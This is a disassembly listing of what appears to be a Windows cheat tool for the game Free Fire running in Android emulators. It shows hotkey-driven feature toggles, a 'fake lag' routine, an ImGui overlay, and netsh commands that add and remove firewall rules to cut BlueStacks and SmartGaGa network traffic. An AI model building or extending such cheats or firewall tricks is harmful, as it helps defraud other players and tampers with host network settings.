sete byte [0x140196118]
mov ecx, dword [0x140475210]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400673d3
cmp byte [0x140475114], 1
jne 0x1400673d3
mov ecx, 8
call fcn.14013a490
lea rcx, [0x140064aa0]
mov r9, rax
lea r8, [0x1400717b0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x428]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x420], rax
test rax, rax
je 0x14006dbe2
cmp dword [rbp + 0x428], 0
je 0x14006dc18
movaps xmm0, xmmword [rbp + 0x420]
lea rcx, [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14006dc18
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x420], xmm0
mov ecx, dword [0x1404750f4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400673f1
cmp byte [reloc.WS2_32.dll_accept], 0
sete byte [0x140196118]
mov ecx, dword [0x140475104]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14006748c
cmp byte [0x140475165], 1
jne 0x14006748c
mov ecx, 8
call fcn.14013a490
lea rcx, [0x14005d250]
mov r9, rax
lea r8, [0x1400717b0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x438]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x430], rax
test rax, rax
je 0x14006dbf4
cmp dword [rbp + 0x438], 0
je 0x14006dc18
movaps xmm0, xmmword [rbp + 0x430]
lea rcx, [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14006dc18
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x430], xmm0
mov ecx, reloc.WS2_32.dll_WSACleanup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140067583
movzx eax, word [0x14017a9c0]
lea rdx, [rbp + 0x7b0]
xorps xmm0, xmm0
mov qword [rbp + 0x7a0], 2
movups xmmword [rbp + 0x790], xmm0
mov word [rbp + 0x790], ax
lea rcx, [0x140474048]
movups xmmword [rbp + 0x7b0], xmm0
mov word [rbp + 0x7b0], ax
movabs r9, 0x7fffffffffff
lea rax, [rbp + 0x790]
mov qword [rbp + 0x7a8], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x30], rax
xor r8d, r8d
lea rax, [rbp + 0x848]
mov byte [rbp + 0x792], 0
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x868]
movups xmmword [rbp + 0x848], xmm0
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x868], xmm0
mov qword [rbp + 0x858], rbx
mov qword [rbp + 0x860], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x848], 0
mov qword [rbp + 0x878], rbx
mov qword [rbp + 0x880], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x868], 0
mov qword [rbp + 0x7c0], 2
mov qword [rbp + 0x7c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x7b2], 0
call fcn.140058fb0
mov ecx, dword [0x1404750b0]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14006761e
cmp byte [0x1404750ba], 1
jne 0x14006761e
mov ecx, 8
call fcn.14013a490
lea rcx, [0x14005dcc0]
mov r9, rax
lea r8, [0x1400717b0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x448]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x440], rax
test rax, rax
je 0x14006dc06
cmp dword [rbp + 0x448], 0
je 0x14006dc18
movaps xmm0, xmmword [rbp + 0x440]
lea rcx, [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14006dc18
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x440], xmm0
mov ecx, dword [0x1404750c4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov r13d, 1
test r13b, al
je 0x14006776d
cmp byte [0x1404962ec], 0
jne 0x14006776d
lea r9, str.Fake_Lag_Inyectado_
mov r8d, 0x3e8
mov edx, r13d
lea rcx, [rbp + 0x1590]
call fcn.140057cd0
mov rax, qword [0x1404ac8a8]
cmp rax, qword [0x1404ac8b0]
je 0x140067694
mov r8d, 0x2010
lea rdx, [rbp + 0x1590]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x1404ac8a8], 0x2010
jmp 0x1400676a3
lea r8, [rbp + 0x1590]
mov rdx, rax
call fcn.140071460
movsxd rbx, dword [0x140475100]
lea rcx, [rbp + 0x10]
call fcn.140050b70
mov rcx, qword [rbp + 0x10]
mov qword [rbp - 0x10], rcx
test rbx, rbx
jle 0x1400676ea
imul rdx, rbx, 0x3b9aca00
movabs r8, 0x7fffffffffffffff
mov rax, r8
sub rax, rdx
cmp rcx, rax
jge 0x1400676e6
lea rax, [rdx + rcx]
mov qword [rbp - 0x10], rax
jmp 0x1400676ea
mov qword [rbp - 0x10], r8
lea rcx, [rbp - 0x10]
call fcn.140070c70
lea r9, str.Fake_Lag_Removido_
mov edx, 2
mov r8d, 0x3e8
lea rcx, [rbp + 0x35a0]
call fcn.140057cd0
mov rax, qword [0x1404ac8a8]
cmp rax, qword [0x1404ac8b0]
je 0x140067743
mov r8d, 0x2010
lea rdx, [rbp + 0x35a0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x1404ac8a8], 0x2010
jmp 0x140067752
lea r8, [rbp + 0x35a0]
mov rdx, rax
call fcn.140071460
mov ecx, 2
mov byte [0x1404962ec], r13b
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
mov byte [0x1404962ec], 0
mov ecx, dword [0x140475210]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140067865
movzx eax, word [0x14017a9c0]
lea rdx, [rbp + 0x7f0]
xorps xmm0, xmm0
mov qword [rbp + 0x7e0], 2
movups xmmword [rbp + 0x7d0], xmm0
mov word [rbp + 0x7d0], ax
lea rcx, [0x140474048]
movups xmmword [rbp + 0x7f0], xmm0
mov word [rbp + 0x7f0], ax
movabs r9, 0x7fffffffffff
lea rax, [rbp + 0x7d0]
mov qword [rbp + 0x7e8], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x30], rax
xor r8d, r8d
lea rax, [rbp + 0x888]
mov byte [rbp + 0x7d2], 0
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x8a8]
movups xmmword [rbp + 0x888], xmm0
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x8a8], xmm0
mov qword [rbp + 0x898], rbx
mov qword [rbp + 0x8a0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x888], 0
mov qword [rbp + 0x8b8], rbx
mov qword [rbp + 0x8c0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x8a8], 0
mov qword [rbp + 0x800], 2
mov qword [rbp + 0x808], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x7f2], 0
call fcn.140058fb0
mov ecx, dword [0x1404750d4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140067a78
xor edx, edx
cmp byte [0x14047504f], dl
je 0x1400679ac
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirin_actionblock_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirout_actionblock_program__ProgramFiles_Bluestacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirin_actionblock_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirout_actionblock_program__ProgramFiles_BluestacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirin_actionblock_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirout_actionblock_program__ProgramFiles_Bluestacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirin_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirout_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirin_actionblock_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirout_actionblock_program__ProgramData_Bluestacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirin_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirout_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
lea r9, str.Allow_Internet_Access_successfully.
mov r8d, 0x5dc
mov edx, r13d
lea rcx, [rbp + 0x55b0]
call fcn.140057cd0
mov rax, qword [0x1404ac8a8]
cmp rax, qword [0x1404ac8b0]
je 0x140067991
mov r8d, 0x2010
lea rdx, [rbp + 0x55b0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x1404ac8a8], 0x2010
mov byte [0x14047504f], 0
jmp 0x140067a78
lea r8, [rbp + 0x55b0]
mov rdx, rax
call fcn.140071460
mov byte [0x14047504f], 0
jmp 0x140067a78
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rulall_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
mov edx, Ordinal_301
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Beep]
lea r9, str.Block_Internet_Access_successfully.
mov r8d, 0x5dc
mov edx, r13d
lea rcx, [rbp + 0x75c0]
call fcn.140057cd0
mov rax, qword [0x1404ac8a8]
cmp rax, qword [0x1404ac8b0]
je 0x140067a62
mov r8d, 0x2010
lea rdx, [rbp + 0x75c0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x1404ac8a8], 0x2010
jmp 0x140067a71
lea r8, [rbp + 0x75c0]
mov rdx, rax
call fcn.140071460
mov byte [0x14047504f], 1
mov ecx, dword [0x140475040]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140067b13
cmp byte [0x1404750fb], 1
jne 0x140067b13
mov ecx, 8
call fcn.14013a490
lea rcx, [0x14005dd40]
mov r9, rax
lea r8, [0x1400717b0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x458]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x450], rax
test rax, rax
je 0x14006dc24
cmp dword [rbp + 0x458], 0
je 0x14006dc18
movaps xmm0, xmmword [rbp + 0x450]
lea rcx, [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14006dc18
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x450], xmm0
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, reloc.WLDAP32.dll_Ordinal_50
and al, 1
mov dword [rsp + 0x60], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, 0x33
and al, 1
mov dword [rsp + 0x68], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, reloc.WS2_32.dll_WSASetLastError
and al, 1
mov dword [rsp + 0x6c], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, WSAStartup
and al, 1
mov dword [rsp + 0x70], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, WSAStartup
and al, 1
mov dword [rsp + 0x74], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, reloc.WS2_32.dll_WSAStartup
and al, 1
mov dword [rsp + 0x78], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, 0x51
and al, 1
mov dword [rsp + 0x7c], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, 0x45
and al, 1
mov dword [rbp - 0x80], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x140475048]
movzx edx, byte [0x14047504d]
movzx r8d, byte [0x140475166]
movzx r9d, byte [0x1404750f8]
movzx r10d, byte [0x1404750cf]
movzx r11d, byte [0x1404750fe]
movzx ebx, byte [0x1404750ec]
movzx r13d, byte [0x1404750b8]
shr eax, 0xf
and al, 1
mov dword [rbp - 0x70], eax
cmp ecx, 1
jne 0x140067c32
cmp byte [rsp + 0x60], 0
je 0x140067da4
movzx ecx, byte [0x1404750bb]
test dl, dl
jne 0x140067dab
cmp byte [0x14047511b], dl
sete byte [0x14047511b]
jmp 0x140067dab
cmp ecx, 2
jne 0x140067c65
cmp byte [rsp + 0x68], 0
je 0x140067da4
movzx ecx, byte [0x1404750bb]
test r8b, r8b
jne 0x140067dab
cmp byte [0x14047511b], r8b
sete byte [0x14047511b]
jmp 0x140067dab
cmp ecx, 3
jne 0x140067c98
cmp byte [rsp + 0x6c], 0
je 0x140067da4
movzx ecx, byte [0x1404750bb]
test r9b, r9b
jne 0x140067dab
cmp byte [0x14047511b], r9b
sete byte [0x14047511b]
jmp 0x140067dab
cmp ecx, 4
jne 0x140067ccb
cmp byte [rsp + 0x70], 0
je 0x140067da4
movzx ecx, byte [0x1404750bb]
test r10b, r10b
jne 0x140067dab
cmp byte [0x14047511b], r10b
sete byte [0x14047511b]
jmp 0x140067dab
cmp ecx, 5
jne 0x140067cfe
cmp byte [rsp + 0x74], 0
je 0x140067da4
movzx ecx, byte [0x1404750bb]
test r11b, r11b
jne 0x140067dab
cmp byte [0x14047511b], r11b
sete byte [0x14047511b]
jmp 0x140067dab
cmp ecx, 6
jne 0x140067d2c
cmp byte [rsp + 0x78], 0
je 0x140067da4
movzx ecx, byte [0x1404750bb]
test bl, bl
jne 0x140067dab
cmp byte [0x14047511b], bl
sete byte [0x14047511b]
jmp 0x140067dab
cmp ecx, 7
jne 0x140067d54
cmp byte [rsp + 0x7c], 0
je 0x140067da4
movzx ecx, byte [0x1404750bb]
test r13b, r13b
jne 0x140067dab
cmp byte [0x14047511b], r13b
sete byte [0x14047511b]
jmp 0x140067dab
cmp ecx, 8
jne 0x140067d79
cmp byte [rbp - 0x80], 0
movzx ecx, byte [0x1404750bb]
je 0x140067dab
test cl, cl
jne 0x140067dab
cmp byte [0x14047511b], cl
sete byte [0x14047511b]
jmp 0x140067dab
cmp ecx, 9
jne 0x140067da4
cmp byte [rbp - 0x70], 0
je 0x140067da4
cmp byte [0x1404750f9], 0
movzx ecx, byte [0x1404750bb]
jne 0x140067dab
cmp byte [0x14047511b], 0
sete byte [0x14047511b]
jmp 0x140067dab
movzx ecx, byte [0x1404750bb]
mov eax, dword [0x1404750e4]
cmp eax, 1
jne 0x140067dc8
cmp byte [rsp + 0x60], 0
je 0x140067e62
test dl, dl
jmp 0x140067e52
cmp eax, 2
jne 0x140067ddd
cmp byte [rsp + 0x68], 0
je 0x140067e62
test r8b, r8b
jmp 0x140067e52
cmp eax, 3
jne 0x140067dee
cmp byte [rsp + 0x6c], 0
je 0x140067e62
test r9b, r9b
jmp 0x140067e52
cmp eax, 4
jne 0x140067dff
cmp byte [rsp + 0x70], 0
je 0x140067e62
test r10b, r10b
jmp 0x140067e52
cmp eax, 5
jne 0x140067e10
cmp byte [rsp + 0x74], 0
je 0x140067e62
test r11b, r11b
jmp 0x140067e52
cmp eax, 6
jne 0x140067e20
cmp byte [rsp + 0x78], 0
je 0x140067e62
test bl, bl
jmp 0x140067e52
cmp eax, 7
jne 0x140067e31
cmp byte [rsp + 0x7c], 0
je 0x140067e62
test r13b, r13b
jmp 0x140067e52
cmp eax, 8
jne 0x140067e40
cmp byte [rbp - 0x80], 0
je 0x140067e62
test cl, cl
jmp 0x140067e52
cmp eax, 9
jne 0x140067e62
cmp byte [rbp - 0x70], 0
je 0x140067e62
cmp byte [0x1404750f9], 0
jne 0x140067e62
cmp byte [0x14047511a], 0
sete byte [0x14047511a]
mov eax, dword [0x1404750d0]
cmp eax, 1
jne 0x140067e7f
cmp byte [rsp + 0x60], 0
je 0x140067f19
test dl, dl
jmp 0x140067f09
cmp eax, 2
jne 0x140067e94
cmp byte [rsp + 0x68], 0
je 0x140067f19
test r8b, r8b
jmp 0x140067f09
cmp eax, 3
jne 0x140067ea5
cmp byte [rsp + 0x6c], 0
je 0x140067f19
test r9b, r9b
jmp 0x140067f09
cmp eax, 4
jne 0x140067eb6
cmp byte [rsp + 0x70], 0
je 0x140067f19
test r10b, r10b
jmp 0x140067f09
cmp eax, 5
jne 0x140067ec7
cmp byte [rsp + 0x74], 0
je 0x140067f19
test r11b, r11b
jmp 0x140067f09
cmp eax, 6
jne 0x140067ed7
cmp byte [rsp + 0x78], 0
je 0x140067f19
test bl, bl
jmp 0x140067f09
cmp eax, 7
jne 0x140067ee8
cmp byte [rsp + 0x7c], 0
je 0x140067f19
test r13b, r13b
jmp 0x140067f09
cmp eax, 8
jne 0x140067ef7
cmp byte [rbp - 0x80], 0
je 0x140067f19
test cl, cl
jmp 0x140067f09
cmp eax, 9
jne 0x140067f19
cmp byte [rbp - 0x70], 0
je 0x140067f19
cmp byte [0x1404750f9], 0
jne 0x140067f19
cmp byte [0x140475117], 0
sete byte [0x140475117]
mov eax, dword [0x1404750bc]
cmp eax, 1
jne 0x140067f36
cmp byte [rsp + 0x60], 0
je 0x140067fd0
test dl, dl
jmp 0x140067fc0
cmp eax, 2
jne 0x140067f4b
cmp byte [rsp + 0x68], 0
je 0x140067fd0
test r8b, r8b
jmp 0x140067fc0
cmp eax, 3
jne 0x140067f5c
cmp byte [rsp + 0x6c], 0
je 0x140067fd0
test r9b, r9b
jmp 0x140067fc0
cmp eax, 4
jne 0x140067f6d
cmp byte [rsp + 0x70], 0
je 0x140067fd0
test r10b, r10b
jmp 0x140067fc0
cmp eax, 5
jne 0x140067f7e
cmp byte [rsp + 0x74], 0
je 0x140067fd0
test r11b, r11b
jmp 0x140067fc0
cmp eax, 6
jne 0x140067f8e
cmp byte [rsp + 0x78], 0
je 0x140067fd0
test bl, bl
jmp 0x140067fc0
cmp eax, 7
jne 0x140067f9f
cmp byte [rsp + 0x7c], 0
je 0x140067fd0
test r13b, r13b
jmp 0x140067fc0
cmp eax, 8
jne 0x140067fae
cmp byte [rbp - 0x80], 0
je 0x140067fd0
test cl, cl
jmp 0x140067fc0
cmp eax, 9
jne 0x140067fd0
cmp byte [rbp - 0x70], 0
je 0x140067fd0
cmp byte [0x1404750f9], 0
jne 0x140067fd0
cmp byte [0x140475118], 0
sete byte [0x140475118]
mov eax, dword [0x140475204]
cmp eax, 1
jne 0x140067fed
cmp byte [rsp + 0x60], 0
je 0x1400680a0
test dl, dl
jmp 0x140068090
cmp eax, 2
jne 0x140068005
cmp byte [rsp + 0x68], 0
je 0x1400680a0
test r8b, r8b
jmp 0x140068090
cmp eax, 3
jne 0x14006801a
cmp byte [rsp + 0x6c], 0
je 0x1400680a0
test r9b, r9b
jmp 0x140068090
cmp eax, 4
jne 0x14006802b
cmp byte [rsp + 0x70], 0
je 0x1400680a0
test r10b, r10b
jmp 0x140068090
cmp eax, 5
jne 0x14006804e
cmp byte [rsp + 0x74], 0
je 0x1400680a0
test r11b, r11b
jne 0x1400680a0
cmp byte [0x140475119], r11b
sete cl
mov byte [0x140475119], cl
jmp 0x1400680a7
cmp eax, 6
jne 0x14006805e
cmp byte [rsp + 0x78], 0
je 0x1400680a0
test bl, bl
jmp 0x140068090
cmp eax, 7
jne 0x14006806f
cmp byte [rsp + 0x7c], 0
je 0x1400680a0
test r13b, r13b
jmp 0x140068090
cmp eax, 8
jne 0x14006807e
cmp byte [rbp - 0x80], 0
je 0x1400680a0
test cl, cl
jmp 0x140068090
cmp eax, 9
jne 0x1400680a0
cmp byte [rbp - 0x70], 0
je 0x1400680a0
cmp byte [0x1404750f9], 0
jne 0x1400680a0
cmp byte [0x14047511c], 0
sete byte [0x14047511c]
movzx ecx, byte [0x140475119]
mov eax, dword [0x140475110]
cmp eax, 1
jne 0x1400680c4
cmp byte [rsp + 0x60], 0
je 0x14006815e
test dl, dl
jmp 0x140068153
cmp eax, 2
jne 0x1400680d9
cmp byte [rsp + 0x68], 0
je 0x14006815e
test r8b, r8b
jmp 0x140068153
cmp eax, 3
jne 0x1400680ea
cmp byte [rsp + 0x6c], 0
je 0x14006815e
test r9b, r9b
jmp 0x140068153
cmp eax, 4
jne 0x1400680fb
cmp byte [rsp + 0x70], 0
je 0x14006815e
test r10b, r10b
jmp 0x140068153
cmp eax, 5
jne 0x14006810c
cmp byte [rsp + 0x74], 0
je 0x14006815e
test r11b, r11b
jmp 0x140068153
cmp eax, 6
jne 0x14006811c
cmp byte [rsp + 0x78], 0
je 0x14006815e
test bl, bl
jmp 0x140068153
cmp eax, 7
jne 0x14006812d
cmp byte [rsp + 0x7c], 0
je 0x14006815e
test r13b, r13b
jmp 0x140068153
cmp eax, 8
jne 0x140068141
cmp byte [rbp - 0x80], 0
je 0x14006815e
cmp byte [0x1404750bb], 0
jmp 0x140068153
cmp eax, 9
jne 0x14006815e
cmp byte [rbp - 0x70], 0
je 0x14006815e
cmp byte [0x1404750f9], 0
jne 0x14006815e
test cl, cl
sete byte [0x140475119]
mov eax, dword [0x1404750c8]
cmp eax, 1
jne 0x14006818f
mov eax, dword [rsp + 0x60]
test al, al
je 0x1400682f3
test dl, dl
jne 0x1400682f3
cmp byte [0x140475116], dl
sete byte [0x140475116]
jmp 0x1400682f3
cmp eax, 2
jne 0x1400681bf
cmp byte [rsp + 0x68], 0
je 0x1400682ef
mov eax, dword [rsp + 0x60]
test r8b, r8b
jne 0x1400682f3
cmp byte [0x140475116], r8b
sete byte [0x140475116]
jmp 0x1400682f3
cmp eax, 3
jne 0x1400681ef
cmp byte [rsp + 0x6c], 0
je 0x1400682ef
mov eax, dword [rsp + 0x60]
test r9b, r9b
jne 0x1400682f3
cmp byte [0x140475116], r9b
sete byte [0x140475116]
jmp 0x1400682f3
cmp eax, 4
jne 0x14006821f
cmp byte [rsp + 0x70], 0
je 0x1400682ef
mov eax, dword [rsp + 0x60]
test r10b, r10b
jne 0x1400682f3
cmp byte [0x140475116], r10b
sete byte [0x140475116]
jmp 0x1400682f3
cmp eax, 5
jne 0x14006824f
cmp byte [rsp + 0x74], 0
je 0x1400682ef
mov eax, dword [rsp + 0x60]
test r11b, r11b
jne 0x1400682f3
cmp byte [0x140475116], r11b
sete byte [0x140475116]
jmp 0x1400682f3
cmp eax, 6
jne 0x14006827a
cmp byte [rsp + 0x78], 0
je 0x1400682ef
mov eax, dword [rsp + 0x60]
test bl, bl
jne 0x1400682f3
cmp byte [0x140475116], bl
sete byte [0x140475116]
jmp 0x1400682f3
cmp eax, 7
jne 0x14006829f
cmp byte [rsp + 0x7c], 0
je 0x1400682ef
mov eax, dword [rsp + 0x60]
test r13b, r13b
jne 0x1400682f3
cmp byte [0x140475116], r13b
sete byte [0x140475116]
jmp 0x1400682f3
cmp eax, 8
jne 0x1400682c7
cmp byte [rbp - 0x80], 0
je 0x1400682ef
cmp byte [0x1404750bb], 0
mov eax, dword [rsp + 0x60]
jne 0x1400682f3
cmp byte [0x140475116], 0
sete byte [0x140475116]
jmp 0x1400682f3
cmp eax, 9
jne 0x1400682ef
cmp byte [rbp - 0x70], 0
je 0x1400682ef
cmp byte [0x1404750f9], 0
mov eax, dword [rsp + 0x60]
jne 0x1400682f3
cmp byte [0x140475116], 0
sete byte [0x140475116]
jmp 0x1400682f3
mov eax, dword [rsp + 0x60]
mov r8d, dword [0x140496a28]
mov byte [0x14047504d], al
mov eax, dword [rsp + 0x68]
mov byte [0x140475166], al
mov eax, dword [rsp + 0x6c]
mov byte [0x1404750f8], al
mov eax, dword [rsp + 0x70]
mov byte [0x1404750cf], al
mov eax, dword [rsp + 0x74]
mov byte [0x1404750fe], al
mov eax, dword [rsp + 0x78]
mov byte [0x1404750ec], al
mov eax, dword [rsp + 0x7c]
mov byte [0x1404750b8], al
mov eax, dword [rbp - 0x80]
mov byte [0x1404750bb], al
mov eax, dword [rbp - 0x70]
mov byte [0x1404750f9], al
test r8d, r8d
je 0x140068407
mov r9d, dword [0x140496a2c]
test r9d, r9d
je 0x140068407
mov rcx, qword [0x1404aaee8]
test rcx, rcx
je 0x140068393
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov r8d, dword [0x140496a28]
xor r13d, r13d
mov r9d, dword [0x140496a2c]
mov qword [0x1404aaee8], r13
jmp 0x140068396
xor r13d, r13d
mov rcx, qword [0x1404aaf30]
xor edx, edx
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
mov rax, qword [rcx]
call qword [rax + 0x68]
mov rcx, qword [0x1404aaf30]
lea r9, [rbp + 0x480]
lea r8, [0x14017a810]
mov dword [0x140496a2c], r13d
xor edx, edx
mov dword [0x140496a28], r13d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [0x1404aaf38]
lea r9, [0x1404aaee8]
mov rdx, qword [rbp + 0x480]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x480]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x14006840a
xor r13d, r13d
mov rbx, qword [0x140475030]
test rbx, rbx
je 0x140068424
mov rbx, qword [rbx + 0xa0]
test rbx, rbx
jne 0x140068441
jmp 0x140068427
mov rbx, r13
mov r8d, 0x251
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_factura_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rbx + 0x48], 0
jne 0x14006844d
call fcn.14004c710
call fcn.14004db00
call fcn.140008d80
mov r13, qword [0x140475030]
mov qword [rbp - 0x80], r13
test r13, r13
jne 0x14006848c
mov r8d, 0xba4
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_facturaimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r13, qword [0x140475030]
mov qword [rbp - 0x80], r13
movss xmm1, dword [0x14017ce44]
movaps xmm0, xmm11
unpcklps xmm0, xmm11
movsd qword [r13 + 0x37d8], xmm0
movaps xmm0, xmm1
mov dword [r13 + 0x37e4], 0
unpcklps xmm0, xmm1
movsd qword [r13 + 0x381c], xmm0
mov rax, qword [r13 + 0x3ef8]
mov dword [r13 + 0x3844], 0x41000000
mov byte [rax + 0xb8], 1
